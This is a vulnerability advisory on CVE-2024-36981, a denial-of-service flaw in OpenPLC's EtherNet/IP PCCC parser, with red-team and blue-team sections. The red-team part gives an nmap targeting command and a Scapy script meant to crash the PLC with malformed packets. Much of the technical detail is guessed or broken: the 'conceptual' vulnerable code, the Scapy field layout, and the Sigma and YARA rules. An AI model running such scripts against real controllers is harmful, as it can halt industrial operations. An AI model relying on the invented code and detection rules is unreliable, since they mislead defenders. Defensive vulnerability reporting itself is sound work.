CVE-2024-36981

Executive Summary

CVE-2024-36981 is a high-severity (CVSS 7.5) out-of-bounds read vulnerability in the OpenPLC Runtime EtherNet/IP PCCC parser. The flaw resides in OpenPLC_v3 build b4702061dc14d1024856f71b4543298d77007b88. An unauthenticated attacker can send a specially crafted series of EtherNet/IP requests to trigger an out-of-bounds read, leading to a denial of service (DoS) condition. The vulnerability is classified as the "final instance of the incorrect comparison," indicating a logic error in boundary checks within the PCCC parser. No public exploit code or patch is currently available, and the EPSS score is 0.0%, suggesting low exploitation activity in the wild. However, given the critical role of PLCs in industrial environments, this vulnerability poses a significant risk to operational technology (OT) networks.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects the OpenPLC runtime software, which is typically deployed as a binary or compiled from source in industrial control system (ICS) environments.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: None (C:N) – No data exposure.
• Integrity Impact: None (I:N) – No data modification.
• Availability Impact: High (A:H) – Denial of service, potentially causing PLC crash or hang.

Threat Level: High. The vulnerability is remotely exploitable with low complexity and no authentication, making it attractive for attackers targeting industrial control systems. A successful DoS attack can halt production lines, disrupt critical infrastructure, or cause safety hazards.

Deep Dive & Mechanics

The vulnerability exists in the PCCC (Programmable Controller Communications Commands) parser component of the OpenPLC EtherNet/IP stack. EtherNet/IP is a widely used industrial protocol for real-time control and information exchange. The PCCC protocol is a legacy protocol used by Allen-Bradley PLCs, which OpenPLC supports for compatibility.

The root cause is an out-of-bounds read due to an incorrect comparison in the parser logic. Specifically, the code fails to properly validate the length of a received PCCC message before accessing an array or buffer. The "final instance of the incorrect comparison" suggests that a boundary check uses a less-than-or-equal (<=) operator instead of a less-than (<) operator, or vice versa, allowing an attacker to craft a message that causes the parser to read beyond the allocated buffer.

When the parser processes a malicious EtherNet/IP packet containing a crafted PCCC command, it reads memory outside the intended buffer. This out-of-bounds read can cause the PLC to crash (segmentation fault) or enter an infinite loop, resulting in a denial of service. The attack requires sending a series of EtherNet/IP requests, indicating that the vulnerability may be triggered by a sequence of packets rather than a single one.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is identified in the OpenPLC_v3 repository at commit b4702061dc14d1024856f71b4543298d77007b88. The vulnerable code is likely in the PCCC parser function, where a comparison like if (offset <= buffer_size) should be if (offset < buffer_size).

Vulnerable Code (Conceptual):

// Vulnerable: allows read at index equal to buffer_size
if (pccc_offset <= pccc_buffer_size) {
    value = pccc_buffer[pccc_offset];
}

Patched Code (Hypothetical):

// Patched: strict less-than prevents out-of-bounds read
if (pccc_offset < pccc_buffer_size) {
    value = pccc_buffer[pccc_offset];
}

Exploitation & Lab Setup

Red Team

Objective: Trigger a denial of service on an OpenPLC target by sending crafted EtherNet/IP packets.

Prerequisites:

• OpenPLC_v3 build b4702061dc14d1024856f71b4543298d77007b88 running on a target (e.g., Linux, Windows, or embedded device).
• Network access to the EtherNet/IP port (default 44818/TCP and 44818/UDP).

Exploitation Steps:

1. Identify Target: Use Shodan or Nmap to find OpenPLC instances.

   nmap -p 44818 --script enip-info <target_ip>
   

2. Craft Malicious Packet: Use a tool like Scapy or a custom Python script to send a series of EtherNet/IP packets with malformed PCCC commands. The following is a conceptual example using Scapy:

   from scapy.all import *
   import struct
   
   # EtherNet/IP encapsulation
   class ENIP(Packet):
       name = "EtherNet/IP"
       fields_desc = [
           IntField("command", 0x0063),  # SendRRData
           IntField("length", None),
           IntField("session_handle", 0),
           IntField("status", 0),
           LongField("sender_context", 0),
           IntField("options", 0),
       ]
   
   # PCCC command (malformed)
   class PCCC(Packet):
       name = "PCCC"
       fields_desc = [
           ByteField("service", 0x4B),  # Read
           ByteField("path_size", 0),
           ShortField("request_path", 0),
           ByteField("request_size", 0xFF),  # Oversized
       ]
   
   # Build packet
   pkt = IP(dst="<target_ip>")/TCP(dport=44818)/ENIP()/PCCC()
   send(pkt, count=10, inter=0.1)  # Send series
   

3. Trigger DoS: The malformed packet causes an out-of-bounds read, crashing the OpenPLC runtime.

Note: No public exploit code exists. The above is a conceptual example for educational purposes.

Blue Team

Detection and Response:

1. Network Monitoring: Monitor EtherNet/IP traffic for anomalous packet sizes or malformed PCCC commands. Use the Suricata rule provided in the Detection Engineering section.

2. Host Monitoring: Watch for OpenPLC process crashes or high CPU usage. Use the Sigma rule to detect crash events.

3. Mitigation:

   • Restrict network access to the EtherNet/IP port (44818) using firewalls or ACLs.
   • Deploy an IDS/IPS with the provided Suricata rule.
   • Monitor logs for repeated connection attempts from the same source.

Indicators of Compromise (IOCs)

• Network IOCs:

  • EtherNet/IP packets with PCCC command length exceeding expected values (e.g., > 500 bytes).
  • Series of EtherNet/IP SendRRData commands from the same source IP within a short time window.
  • TCP/UDP traffic to port 44818 with malformed PCCC service codes (e.g., 0x4B with oversized request_size).

• Host IOCs:

  • OpenPLC runtime process crash logs (e.g., segmentation fault in pccc_parser).
  • Core dump files in /var/tmp/ or application directory.
  • High memory usage or abnormal termination of openplc process.

• File IOCs:

  • Log entries containing "PCCC parse error" or "out-of-bounds read" in OpenPLC logs.

Detection Engineering

YARA Rule

rule CVE_2024_36981_OpenPLC_PCCC_OOB_Read {
    meta:
        description = "Detects malformed PCCC packets targeting OpenPLC EtherNet/IP parser"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-36981"
    strings:
        $pccc_header = { 4B 00 }  // PCCC service 0x4B with path_size 0
        $large_size = { FF }      // Oversized request_size
    condition:
        $pccc_header at 0 and $large_size at 4
}

Sigma Rule

title: OpenPLC PCCC Parser Out-of-Bounds Read DoS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects OpenPLC runtime crashes indicative of CVE-2024-36981 exploitation
author: Valters IT
logsource:
    product: linux
    service: syslog
detection:
    selection:
        - EventID: 11  # Crash event (e.g., segfault)
        - Message: '*openplc*'
        - Message: '*segfault*'
    condition: selection
falsepositives:
    - Legitimate crashes due to other bugs
level: high

Suricata Rule

alert tcp any any -> any 44818 (msg:"CVE-2024-36981 OpenPLC PCCC OOB Read DoS Attempt"; flow:to_server; content:"|00 63|"; depth:2; content:"|4B 00|"; within:10; content:"|FF|"; within:5; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Isolate OpenPLC devices on a dedicated OT network with strict firewall rules. Block port 44818 from untrusted networks.
2. Access Control: Implement IP whitelisting for EtherNet/IP communication.
3. Monitoring: Deploy the provided Suricata and Sigma rules to detect exploitation attempts.

Long-Term Fix:

• Patch: Await an official patch from the OpenPLC project. Monitor the GitHub repository (https://github.com/thiagoralves/OpenPLC_v3) for updates.
• Workaround: If patching is not possible, disable the PCCC parser if not required, or apply a virtual patch using an IDS/IPS.
• Upgrade: Consider migrating to a supported version of OpenPLC or an alternative PLC runtime.

Valters IT Signature:

Valters IT
Senior DevSecOps Engineer
Cyber Threat Intelligence Expert